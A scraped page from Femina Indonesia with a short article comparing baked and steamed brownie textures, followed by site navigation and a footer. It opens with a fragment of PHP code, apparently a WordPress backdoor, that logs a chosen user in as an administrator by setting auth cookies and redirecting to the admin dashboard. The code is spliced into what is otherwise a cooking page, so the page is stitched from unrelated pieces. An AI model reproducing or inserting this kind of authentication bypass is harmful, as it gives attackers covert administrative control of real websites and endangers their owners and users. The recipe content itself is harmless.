user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Food Trend
Tekstur Brownies Panggang vs Kukus

11 Sep 2015


Brownies panggang memiliki tekstur mendekati chocolate fudge, yakni renyah di luar, moist atau lembap di bagian dalam. Jika resep menggunakan coklat bubuk, sebaiknya ganti dengan cokelat masak pekat yang dilelehkan. Suhu panggang idealnya adalah tidak terlalu panas, yaitu 170-175 derajat Celcius dan selama ± 15 menit. Suhu yang terlalu panas bisa menyebabkan brownies cepat hangus.

Advertisement
Untuk brownies kukus, teksturnya lebih mengembang, lembut, dan bagian permukaannya basah. Telur dalam adonan berfungsi sebagai pengembang, namun jika ingin lebih mengembang dapat ditambahkan baking powder. Pastikan saat mengukus brownies benar-benar hingga matang (± 30 menit) dan menjaga agar tutup kukusan tidak terbuka sebelum matang. Uap air yang menetes ke dalam adonan selama proses pengukusan dapat memengaruhi tekstur brownies menjadi lebih lembap. (f)



 


MORE ARTICLE
Clean Cut Emporio Armani
0% Plastic Bag Project

More Videos
polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda? 

View Result
event
recommended
most viewed
about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

subscribe
(021) 250 333 28
langganan@pranagroup.id
© 2026 Femina Indonesia, Femina Group. All Right Reserved. | By fdvs team.